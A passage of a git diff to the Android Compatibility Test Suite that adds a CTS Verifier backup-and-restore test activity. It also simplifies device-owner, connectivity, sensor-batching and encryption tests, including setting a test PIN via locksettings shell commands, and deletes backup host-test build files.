+                items.add(new PreferenceBackupItem(setting, value));
+            }
+        }
+
+        private void addSystemSettings(List<BackupItem> items, List<String> settings) {
+            for (String setting : settings) {
+                String value = Settings.System.getString(getContentResolver(), setting);
+                items.add(new PreferenceBackupItem(setting, value));
+            }
+        }
+
+        @Override
+        protected void onPostExecute(List<BackupItem> result) {
+            super.onPostExecute(result);
+            setProgressBarIndeterminateVisibility(false);
+            mAdapter.clear();
+            mAdapter.addAll(result);
+        }
+    }
+
+    @Override
+    public Dialog onCreateDialog(int id, Bundle args) {
+        switch (id) {
+            case INSTRUCTIONS_DIALOG_ID:
+                return new AlertDialog.Builder(this)
+                    .setIcon(android.R.drawable.ic_dialog_info)
+                    .setTitle(R.string.backup_accessibility_test)
+                    .setMessage(R.string.bua_instructions)
+                    .setPositiveButton(android.R.string.ok, null)
+                    .setNeutralButton(R.string.bu_settings, new DialogInterface.OnClickListener() {
+                        @Override
+                        public void onClick(DialogInterface dialog, int which) {
+                            startActivity(new Intent(Settings.ACTION_PRIVACY_SETTINGS));
+                        }
+                    }).create();
+
+            default:
+                return super.onCreateDialog(id, args);
+        }
+    }
+
+    interface BackupItem {
+        int getViewType();
+        View getView(LayoutInflater inflater, int position, View convertView, ViewGroup parent);
+    }
+
+    static class CategoryBackupItem implements BackupItem {
+
+        private final int mTitleResId;
+
+        CategoryBackupItem(int titleResId) {
+            mTitleResId = titleResId;
+        }
+
+        @Override
+        public int getViewType() {
+            return 0;
+        }
+
+        @Override
+        public View getView(LayoutInflater inflater, int position, View convertView,
+                ViewGroup parent) {
+            TextView view = (TextView) convertView;
+            if (convertView == null) {
+                view = (TextView) inflater.inflate(R.layout.test_category_row, parent, false);
+            }
+            view.setText(mTitleResId);
+            view.setAllCaps(true);
+            view.setTextAppearance(1);  // Bold
+            return view;
+        }
+    }
+
+    static class PreferenceBackupItem implements BackupItem {
+
+        private final String mName;
+        private final String mValue;
+
+        PreferenceBackupItem(String name, String value) {
+            mName = name;
+            mValue = value;
+        }
+
+        @Override
+        public int getViewType() {
+            if (mValue == null || mValue.equals("0")) {
+                return 1;
+            } else {
+                return 2;
+            }
+        }
+
+        @Override
+        public View getView(LayoutInflater inflater, int position, View convertView,
+                ViewGroup parent) {
+            TextView view = (TextView) convertView;
+            if (convertView == null) {
+                view = (TextView) inflater.inflate(R.layout.bu_preference_row, parent, false);
+            }
+            view.setText(mName + " : " + mValue);
+            if (mValue == null || mValue.equals("0")) {
+                view.setTextColor(Color.GREEN);
+            }
+            return view;
+        }
+    }
+
+    class BackupAdapter extends BaseAdapter {
+
+        private final LayoutInflater mLayoutInflater;
+
+        private final List<BackupItem> mItems = new ArrayList<BackupItem>();
+
+        public BackupAdapter(Context context) {
+            mLayoutInflater = (LayoutInflater) context.getSystemService(LAYOUT_INFLATER_SERVICE);
+        }
+
+        public void clear() {
+            mItems.clear();
+        }
+
+        public void addAll(List<BackupItem> items) {
+            mItems.addAll(items);
+            notifyDataSetChanged();
+        }
+
+        @Override
+        public int getCount() {
+            return mItems.size();
+        }
+
+        @Override
+        public BackupItem getItem(int position) {
+            return mItems.get(position);
+        }
+
+        @Override
+        public long getItemId(int position) {
+            return position;
+        }
+
+        @Override
+        public boolean isEnabled(int position) {
+            return false;
+        }
+
+        @Override
+        public int getViewTypeCount() {
+            return 3;
+        }
+
+        @Override
+        public int getItemViewType(int position) {
+            return getItem(position).getViewType();
+        }
+
+        @Override
+        public View getView(int position, View convertView, ViewGroup parent) {
+            return getItem(position).getView(mLayoutInflater, position, convertView, parent);
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/backup/BackupTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/backup/BackupTestActivity.java
new file mode 100644
index 0000000..cccc1c2
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/backup/BackupTestActivity.java
@@ -0,0 +1,404 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.backup;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import android.app.AlertDialog;
+import android.app.Dialog;
+import android.app.backup.BackupManager;
+import android.app.backup.FileBackupHelper;
+import android.app.backup.SharedPreferencesBackupHelper;
+import android.content.Context;
+import android.content.DialogInterface;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.os.AsyncTask;
+import android.os.Bundle;
+import android.provider.Settings;
+import android.util.Log;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.View.OnClickListener;
+import android.view.ViewGroup;
+import android.view.Window;
+import android.widget.BaseAdapter;
+import android.widget.TextView;
+import android.widget.Toast;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.PrintWriter;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Random;
+import java.util.Scanner;
+
+/**
+ * Test for checking whether the BackupManager is working properly. It lists the values of
+ * several preferences and contents of files that should get backed up and restored after
+ * running the backup manager and reinstalling the CTS verifier.
+ */
+public class BackupTestActivity extends PassFailButtons.ListActivity {
+
+    private static final String TAG = BackupTestActivity.class.getSimpleName();
+
+    private static final int INSTRUCTIONS_DIALOG_ID = 1;
+
+    private static final String TEST_PREFS_1 = "test-prefs-1";
+    private static final String INT_PREF = "int-pref";
+    private static final String BOOL_PREF = "bool-pref";
+
+    private static final String TEST_PREFS_2 = "test-prefs-2";
+    private static final String FLOAT_PREF = "float-pref";
+    private static final String LONG_PREF = "long-pref";
+    private static final String STRING_PREF = "string-pref";
+
+    private static final String TEST_FILE_1 = "test-file-1";
+    private static final String TEST_FILE_2 = "test-file-2";
+
+    private BackupAdapter mAdapter;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        requestWindowFeature(Window.FEATURE_INDETERMINATE_PROGRESS);
+        setContentView(R.layout.bu_main);
+        setPassFailButtonClickListeners();
+        setInfoResources(R.string.backup_test, R.string.backup_info, 0);
+
+        mAdapter = new BackupAdapter(this);
+        setListAdapter(mAdapter);
+
+        new LoadBackupItemsTask().execute();
+
+        findViewById(R.id.generate_button).setOnClickListener(new OnClickListener() {
+            @Override
+            public void onClick(View v) {
+                new GenerateValuesTask().execute();
+            }
+        });
+    }
+
+    public static SharedPreferencesBackupHelper getSharedPreferencesBackupHelper(Context context) {
+        return new SharedPreferencesBackupHelper(context, TEST_PREFS_1, TEST_PREFS_2);
+    }
+
+    public static FileBackupHelper getFileBackupHelper(Context context) {
+        return new FileBackupHelper(context, TEST_FILE_1, TEST_FILE_2);
+    }
+
+    class LoadBackupItemsTask extends AsyncTask<Void, Void, List<BackupItem>> {
+
+        @Override
+        protected void onPreExecute() {
+            super.onPreExecute();
+            setProgressBarIndeterminateVisibility(true);
+        }
+
+        @Override
+        protected List<BackupItem> doInBackground(Void... params) {
+            List<BackupItem> items = new ArrayList<BackupItem>();
+
+            items.add(new CategoryBackupItem(R.string.bu_preferences));
+            loadPreferenceGroup1(items);
+            loadPreferenceGroup2(items);
+
+            items.add(new CategoryBackupItem(R.string.bu_files));
+            loadFile(TEST_FILE_1, items);
+            loadFile(TEST_FILE_2, items);
+
+            return items;
+        }
+
+        private void loadPreferenceGroup1(List<BackupItem> items) {
+            SharedPreferences prefs = getSharedPreferences(TEST_PREFS_1, MODE_PRIVATE);
+
+            int intValue = prefs.getInt(INT_PREF, 0);
+            items.add(new PreferenceBackupItem(TEST_PREFS_1, INT_PREF, "" + intValue));
+
+            boolean boolValue = prefs.getBoolean(BOOL_PREF, false);
+            items.add(new PreferenceBackupItem(TEST_PREFS_1, BOOL_PREF, "" + boolValue));
+        }
+
+        private void loadPreferenceGroup2(List<BackupItem> items) {
+            SharedPreferences prefs = getSharedPreferences(TEST_PREFS_2, MODE_PRIVATE);
+
+            float floatValue = prefs.getFloat(FLOAT_PREF, 0.0f);
+            items.add(new PreferenceBackupItem(TEST_PREFS_2, FLOAT_PREF, "" + floatValue));
+
+            long longValue = prefs.getLong(LONG_PREF, 0L);
+            items.add(new PreferenceBackupItem(TEST_PREFS_2, LONG_PREF, "" + longValue));
+
+            String stringValue = prefs.getString(STRING_PREF, null);
+            items.add(new PreferenceBackupItem(TEST_PREFS_2, STRING_PREF, stringValue));
+        }
+
+        private void loadFile(String fileName, List<BackupItem> items) {
+            StringBuilder contents = new StringBuilder();
+            Scanner scanner = null;
+            try {
+                scanner = new Scanner(new File(getFilesDir(), fileName));
+                while (scanner.hasNext()) {
+                    contents.append(scanner.nextLine());
+                }
+                scanner.close();
+            } catch (FileNotFoundException e) {
+                Log.e(TAG, "Couldn't find test file but this may be fine...", e);
+            } finally {
+                if (scanner != null) {
+                    scanner.close();
+                }
+            }
+            items.add(new FileBackupItem(fileName, contents.toString()));
+        }
+
+        @Override
+        protected void onPostExecute(List<BackupItem> result) {
+            super.onPostExecute(result);
+            setProgressBarIndeterminateVisibility(false);
+            mAdapter.clear();
+            mAdapter.addAll(result);
+        }
+    }
+
+    class GenerateValuesTask extends AsyncTask<Void, Void, Exception> {
+
+        @Override
+        protected Exception doInBackground(Void... params) {
+            Random random = new Random();
+            generatePreferenceGroup1(random);
+            generatePreferenceGroup2(random);
+            try {
+                generateTestFile(TEST_FILE_1, random);
+                generateTestFile(TEST_FILE_2, random);
+            } catch (FileNotFoundException e) {
+                return e;
+            }
+            return null;
+        }
+
+        private void generatePreferenceGroup1(Random random) {
+            SharedPreferences prefs = getSharedPreferences(TEST_PREFS_1, MODE_PRIVATE);
+            SharedPreferences.Editor editor = prefs.edit();
+            editor.putInt(INT_PREF, (random.nextInt(100) + 1));
+            editor.putBoolean(BOOL_PREF, random.nextBoolean());
+            editor.commit();
+        }
+
+        private void generatePreferenceGroup2(Random random) {
+            SharedPreferences prefs = getSharedPreferences(TEST_PREFS_2, MODE_PRIVATE);
+            SharedPreferences.Editor editor = prefs.edit();
+            editor.putFloat(FLOAT_PREF, random.nextFloat());
+            editor.putLong(LONG_PREF, random.nextLong());
+            editor.putString(STRING_PREF, "Random number: " + (random.nextInt(100) + 1));
+            editor.commit();
+        }
+
+        private void generateTestFile(String fileName, Random random)
+                throws FileNotFoundException {
+            File file = new File(getFilesDir(), fileName);
+            PrintWriter writer = new PrintWriter(file);
+            writer.write("Random number: " + (random.nextInt(100) + 1));
+            writer.close();
+        }
+
+        @Override
+        protected void onPostExecute(Exception exception) {
+            super.onPostExecute(exception);
+            if (exception != null) {
+                Log.e(TAG, "Couldn't generate test data...", exception);
+                Toast.makeText(BackupTestActivity.this, R.string.bu_generate_error,
+                        Toast.LENGTH_LONG).show();
+            } else {
+                showDialog(INSTRUCTIONS_DIALOG_ID);
+
+                BackupManager backupManager = new BackupManager(BackupTestActivity.this);
+                backupManager.dataChanged();
+
+                new LoadBackupItemsTask().execute();
+            }
+        }
+    }
+
+    @Override
+    public Dialog onCreateDialog(int id, Bundle args) {
+        switch (id) {
+            case INSTRUCTIONS_DIALOG_ID:
+                return new AlertDialog.Builder(this)
+                    .setIcon(android.R.drawable.ic_dialog_info)
+                    .setTitle(R.string.backup_test)
+                    .setMessage(R.string.bu_instructions)
+                    .setPositiveButton(android.R.string.ok, null)
+                    .setNeutralButton(R.string.bu_settings, new DialogInterface.OnClickListener() {
+                        @Override
+                        public void onClick(DialogInterface dialog, int which) {
+                            startActivity(new Intent(Settings.ACTION_PRIVACY_SETTINGS));
+                        }
+                    })
+                    .create();
+
+            default:
+                return super.onCreateDialog(id, args);
+        }
+    }
+
+    interface BackupItem {
+        int getViewType();
+        View getView(LayoutInflater inflater, int position, View convertView, ViewGroup parent);
+    }
+
+    static class CategoryBackupItem implements BackupItem {
+
+        private final int mTitleResId;
+
+        CategoryBackupItem(int titleResId) {
+            mTitleResId = titleResId;
+        }
+
+        @Override
+        public int getViewType() {
+            return 0;
+        }
+
+        @Override
+        public View getView(LayoutInflater inflater, int position, View convertView,
+                ViewGroup parent) {
+            TextView view = (TextView) convertView;
+            if (convertView == null) {
+                view = (TextView) inflater.inflate(R.layout.test_category_row, parent, false);
+            }
+            view.setText(mTitleResId);
+            return view;
+        }
+    }
+
+    static class PreferenceBackupItem implements BackupItem {
+
+        private final String mGroup;
+
+        private final String mName;
+
+        private final String mValue;
+
+        PreferenceBackupItem(String group, String name, String value) {
+            mGroup = group;
+            mName = name;
+            mValue = value;
+        }
+
+        @Override
+        public int getViewType() {
+            return 1;
+        }
+
+        @Override
+        public View getView(LayoutInflater inflater, int position, View convertView,
+                ViewGroup parent) {
+            TextView view = (TextView) convertView;
+            if (convertView == null) {
+                view = (TextView) inflater.inflate(R.layout.bu_preference_row, parent, false);
+            }
+            view.setText(mGroup + "/" + mName + " : " + mValue);
+            return view;
+        }
+    }
+
+    static class FileBackupItem implements BackupItem {
+
+        private final String mName;
+
+        private final String mContents;
+
+        FileBackupItem(String name, String contents) {
+            mName = name;
+            mContents = contents;
+        }
+
+        @Override
+        public int getViewType() {
+            return 2;
+        }
+
+        @Override
+        public View getView(LayoutInflater inflater, int position, View convertView,
+                ViewGroup parent) {
+            TextView view = (TextView) convertView;
+            if (convertView == null) {
+                view = (TextView) inflater.inflate(R.layout.bu_preference_row, parent, false);
+            }
+            view.setText(mName + " : " + mContents);
+            return view;
+        }
+    }
+
+    class BackupAdapter extends BaseAdapter {
+
+        private final LayoutInflater mLayoutInflater;
+
+        private final List<BackupItem> mItems = new ArrayList<BackupItem>();
+
+        public BackupAdapter(Context context) {
+            mLayoutInflater = (LayoutInflater) context.getSystemService(LAYOUT_INFLATER_SERVICE);
+        }
+
+        public void clear() {
+            mItems.clear();
+        }
+
+        public void addAll(List<BackupItem> items) {
+            mItems.addAll(items);
+            notifyDataSetChanged();
+        }
+
+        @Override
+        public int getCount() {
+            return mItems.size();
+        }
+
+        @Override
+        public BackupItem getItem(int position) {
+            return mItems.get(position);
+        }
+
+        @Override
+        public long getItemId(int position) {
+            return position;
+        }
+
+        @Override
+        public boolean isEnabled(int position) {
+            return false;
+        }
+
+        @Override
+        public int getViewTypeCount() {
+            return 3;
+        }
+
+        @Override
+        public int getItemViewType(int position) {
+            return getItem(position).getViewType();
+        }
+
+        @Override
+        public View getView(int position, View convertView, ViewGroup parent) {
+            return getItem(position).getView(mLayoutInflater, position, convertView, parent);
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
index 2663364..ce53b61 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
@@ -147,21 +147,12 @@
                         .putExtra(EXTRA_TEST_ID, getIntent().getStringExtra(EXTRA_TEST_ID))));
 
         // device admin settings
-        if (getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH)) {
-            adapter.add(createInteractiveTestItem(this, DEVICE_ADMIN_SETTINGS_ID,
-                    R.string.device_owner_device_admin_visible,
-                    R.string.device_owner_device_admin_visible_info,
-                    new ButtonInfo(
-                            R.string.device_owner_settings_go,
-                            new Intent(Settings.ACTION_SETTINGS))));
-        } else {
-            adapter.add(createInteractiveTestItem(this, DEVICE_ADMIN_SETTINGS_ID,
-                    R.string.device_owner_device_admin_visible,
-                    R.string.device_owner_device_admin_visible_info,
-                    new ButtonInfo(
-                            R.string.device_owner_settings_go,
-                            new Intent(Settings.ACTION_SECURITY_SETTINGS))));
-        }
+        adapter.add(createInteractiveTestItem(this, DEVICE_ADMIN_SETTINGS_ID,
+                R.string.device_owner_device_admin_visible,
+                R.string.device_owner_device_admin_visible_info,
+                new ButtonInfo(
+                        R.string.device_owner_settings_go,
+                        new Intent(Settings.ACTION_SECURITY_SETTINGS))));
 
         PackageManager packageManager = getPackageManager();
         if (packageManager.hasSystemFeature(PackageManager.FEATURE_WIFI)) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/OrganizationInfoTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/OrganizationInfoTestActivity.java
index 235a0da..7c5f374 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/OrganizationInfoTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/OrganizationInfoTestActivity.java
@@ -19,7 +19,6 @@
 import android.content.Intent;
 import android.graphics.Color;
 import android.os.Bundle;
-import android.provider.Settings;
 import android.view.View;
 import android.widget.EditText;
 import android.widget.Toast;
@@ -47,7 +46,6 @@
     }
 
     private void setButtonClickListeners() {
-        findViewById(R.id.organization_info_settings_button).setOnClickListener(this);
         findViewById(R.id.organization_info_set_button).setOnClickListener(this);
         findViewById(R.id.go_button).setOnClickListener(this);
     }
@@ -66,11 +64,7 @@
         } else if (view.getId() == R.id.go_button) {
             Intent intent = new Intent(ByodHelperActivity.ACTION_LAUNCH_CONFIRM_WORK_CREDENTIALS);
             startActivity(intent);
-        } else if (view.getId() == R.id.organization_info_settings_button) {
-            Intent intent = new Intent(Settings.ACTION_SETTINGS);
-            startActivity(intent);
         }
-
     }
 
     private boolean isOrganizationColorSet() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/net/ConnectivityScreenOffTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/net/ConnectivityScreenOffTestActivity.java
index b1631d8..6109893 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/net/ConnectivityScreenOffTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/net/ConnectivityScreenOffTestActivity.java
@@ -74,9 +74,6 @@
  *     [3] If the device has a battery, the device must be disconnected from any power source.
  *     [4] The screen is put to sleep.
  *     [5] After two minutes, another IPv6 connectivity test is performed.
- *
- * Note that devices that would never go into "screen off" status regardless of the reported
- * batter status, are allowed to skip the test.
  */
 public class ConnectivityScreenOffTestActivity extends PassFailButtons.Activity {
 
@@ -114,13 +111,8 @@
         mIntentFilter = new IntentFilter();
         mIntentFilter.addAction(Intent.ACTION_SCREEN_ON);
         mIntentFilter.addAction(Intent.ACTION_SCREEN_OFF);
-        // note that in some cases, it is not possible to turn off the device screen and in that
-        // case the test may be skipped
-
         mIntentFilter.addAction(Intent.ACTION_POWER_CONNECTED);
         mIntentFilter.addAction(Intent.ACTION_POWER_DISCONNECTED);
-        // note that in some cases, it is not possible to keep the device running with the power
-        // disconnected, and in that case the test may be skipped
     }
 
     @Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/BatchingTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/BatchingTestActivity.java
index 7ef63d7..b7d9617 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/BatchingTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/BatchingTestActivity.java
@@ -19,6 +19,7 @@
 import com.android.cts.verifier.R;
 import com.android.cts.verifier.sensors.base.SensorCtsVerifierTestActivity;
 
+import android.content.pm.PackageManager;
 import android.hardware.Sensor;
 import android.hardware.SensorManager;
 import android.hardware.cts.helpers.TestSensorEnvironment;
@@ -82,6 +83,9 @@
 
     @SuppressWarnings("unused")
     public String testProximity_batching() throws Throwable {
+        if (getPackageManager().hasSystemFeature(PackageManager.FEATURE_SENSOR_PROXIMITY)) {
+            return null;
+        }
         return runBatchTest(
                 Sensor.TYPE_PROXIMITY,
                 REPORT_LATENCY_10_SEC,
@@ -90,6 +94,9 @@
 
     @SuppressWarnings("unused")
     public String testProximity_flush() throws Throwable {
+        if (getPackageManager().hasSystemFeature(PackageManager.FEATURE_SENSOR_PROXIMITY)) {
+            return null;
+        }
         return runFlushTest(
                 Sensor.TYPE_PROXIMITY,
                 REPORT_LATENCY_10_SEC,
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/NetworkConnectivityChecker.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/NetworkConnectivityChecker.java
index 12c0767..e8043e9 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/NetworkConnectivityChecker.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/NetworkConnectivityChecker.java
@@ -19,30 +19,21 @@
 import com.android.compatibility.common.util.MonitoringUtils;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
 
 /**
  * Checks network connectivity status on device after module execution.
  */
 public class NetworkConnectivityChecker extends SystemStatusChecker {
 
-    // Only report is as failed (capture bugreport) when status goes from pass-> fail
-    private boolean mIsFailed = false;
-
     /**
      * {@inheritDoc}
      */
     @Override
     public boolean postExecutionCheck(ITestDevice device) throws DeviceNotAvailableException {
         if (!MonitoringUtils.checkDeviceConnectivity(device)) {
-            if (mIsFailed) {
-                CLog.w("NetworkConnectivityChecker is still failing.");
-                return true;
-            }
-            mIsFailed = true;
+            setFailureMessage("failed network connectivity check");
             return false;
         }
-        mIsFailed = false;
         return true;
     }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
index d30558b..b63b040 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
@@ -111,9 +111,6 @@
 
     /**
      * If device doesn't have native FBE, verify normal lifecycle.
-     * Note: This test will have a false-negative on the emulator because of the
-     * tradefed and ddmlib incorrectly special-case handling the emulator which
-     * is fixed in http://r.android.com/315302
      */
     public void testDirectBootNone() throws Exception {
         if (!isSupportedDevice()) {
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
index bf6e622..1d27066 100644
--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
@@ -19,7 +19,6 @@
 import static android.content.pm.PackageManager.MATCH_DIRECT_BOOT_AWARE;
 import static android.content.pm.PackageManager.MATCH_DIRECT_BOOT_UNAWARE;
 
-import android.app.admin.DevicePolicyManager;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
@@ -32,8 +31,6 @@
 import android.os.UserManager;
 import android.provider.Settings;
 import android.support.test.uiautomator.UiDevice;
-import android.support.test.uiautomator.UiObject;
-import android.support.test.uiautomator.UiSelector;
 import android.test.InstrumentationTestCase;
 import android.text.format.DateUtils;
 import android.util.Log;
@@ -43,9 +40,6 @@
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
-// for another encryption ui setting package
-import android.content.pm.ResolveInfo;
-
 public class EncryptionAppTest extends InstrumentationTestCase {
     private static final String TAG = "EncryptionAppTest";
 
@@ -65,9 +59,6 @@
     private UiDevice mDevice;
     private AwareActivity mActivity;
 
-    // for another encryption ui setting package
-    private String mEncryptionSettingPackage = "com.android.settings";
-
     @Override
     public void setUp() throws Exception {
         super.setUp();
@@ -76,13 +67,6 @@
         mDe = mCe.createDeviceProtectedStorageContext();
         mPm = mCe.getPackageManager();
 
-        final Intent intent = new Intent(DevicePolicyManager.ACTION_SET_NEW_PASSWORD);
-        intent.addCategory(Intent.CATEGORY_DEFAULT);
-        ResolveInfo rInfo = mPm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
-        if (rInfo != null) {
-            mEncryptionSettingPackage = rInfo.activityInfo.packageName;
-        }
-
         mDevice = UiDevice.getInstance(getInstrumentation());
         assertNotNull(mDevice);
     }
@@ -108,44 +92,7 @@
         mDevice.waitForIdle();
 
         // Set a PIN for this user
-        final Intent intent = new Intent(DevicePolicyManager.ACTION_SET_NEW_PASSWORD);
-        intent.addCategory(Intent.CATEGORY_DEFAULT);
-        mActivity.startActivity(intent);
-        mDevice.waitForIdle();
-
-        // Pick PIN from the option list
-        UiObject view = new UiObject(new UiSelector()
-                .resourceId(mEncryptionSettingPackage + ":id/lock_pin"));
-        assertTrue("lock_pin", view.waitForExists(TIMEOUT));
-        view.click();
-        mDevice.waitForIdle();
-
-        // Ignore any interstitial options
-        view = new UiObject(new UiSelector()
-                .resourceId(mEncryptionSettingPackage + ":id/encrypt_dont_require_password"));
-        if (view.waitForExists(TIMEOUT)) {
-            view.click();
-            mDevice.waitForIdle();
-        }
-
-        // Yes, we really want to
-        view = new UiObject(new UiSelector()
-                .resourceId(mEncryptionSettingPackage + ":id/next_button"));
-        if (view.waitForExists(TIMEOUT)) {
-            view.click();
-            mDevice.waitForIdle();
-        }
-
-        // Set our PIN
-        view = new UiObject(new UiSelector()
-                .resourceId(mEncryptionSettingPackage + ":id/password_entry"));
-        assertTrue("password_entry", view.waitForExists(TIMEOUT));
-
-        // Enter it twice to confirm
-        enterTestPin();
-        enterTestPin();
-
-        mDevice.pressBack();
+        mDevice.executeShellCommand("locksettings set-pin 12345");
     }
 
     public void testTearDown() throws Exception {
@@ -157,48 +104,7 @@
         mDevice.waitForIdle();
 
         // Clear PIN for this user
-        final Intent intent = new Intent(DevicePolicyManager.ACTION_SET_NEW_PASSWORD);
-        intent.addCategory(Intent.CATEGORY_DEFAULT);
-        mActivity.startActivity(intent);
-        mDevice.waitForIdle();
-
-        // Enter current PIN
-        UiObject view = new UiObject(new UiSelector()
-                .resourceId(mEncryptionSettingPackage + ":id/password_entry"));
-        if (!view.waitForExists(TIMEOUT)) {
-            // Odd, maybe there is a crash dialog showing; try dismissing it
-            mDevice.pressBack();
-            mDevice.waitForIdle();
-
-            assertTrue("password_entry", view.waitForExists(TIMEOUT));
-        }
-
-        enterTestPin();
-
-        // Set back to "none"
-        view = new UiObject(new UiSelector()
-                .resourceId(mEncryptionSettingPackage + ":id/lock_none"));
-        assertTrue("lock_none", view.waitForExists(TIMEOUT));
-        view.click();
-        mDevice.waitForIdle();
-
-        // Yes, we really want "none" if prompted again
-        view = new UiObject(new UiSelector()
-                .resourceId(mEncryptionSettingPackage + ":id/lock_none"));
-        if (view.waitForExists(TIMEOUT)) {
-            view.click();
-            mDevice.waitForIdle();
-        }
-
-        // Yes, we really want to
-        view = new UiObject(new UiSelector()
-                .resourceId("android:id/button1"));
-        if (view.waitForExists(TIMEOUT)) {
-            view.click();
-            mDevice.waitForIdle();
-        }
-
-        mDevice.pressBack();
+        mDevice.executeShellCommand("locksettings clear --old 12345");
     }
 
     public void doBootCountBefore() throws Exception {
diff --git a/hostsidetests/backup/Android.mk b/hostsidetests/backup/Android.mk
deleted file mode 100644
index 194341b..0000000
--- a/hostsidetests/backup/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_RESOURCE_DIRS := assets/
-
-LOCAL_MODULE_TAGS := tests
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-
-LOCAL_MODULE := CtsBackupHostTestCases
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed-prebuilt compatibility-host-util
-
-LOCAL_STATIC_JAVA_LIBRARIES := cts-migration-lib
-
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/backup/AndroidTest.xml b/hostsidetests/backup/AndroidTest.xml
deleted file mode 100644
index 2ea4663..0000000
--- a/hostsidetests/backup/AndroidTest.xml
+++ /dev/null
@@ -1,25 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS Backup host test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
-        <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsBackupRestoreDeviceApp.apk" />
-        <option name="test-file-name" value="CtsFullbackupApp.apk" />
-    </target_preparer>
-    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
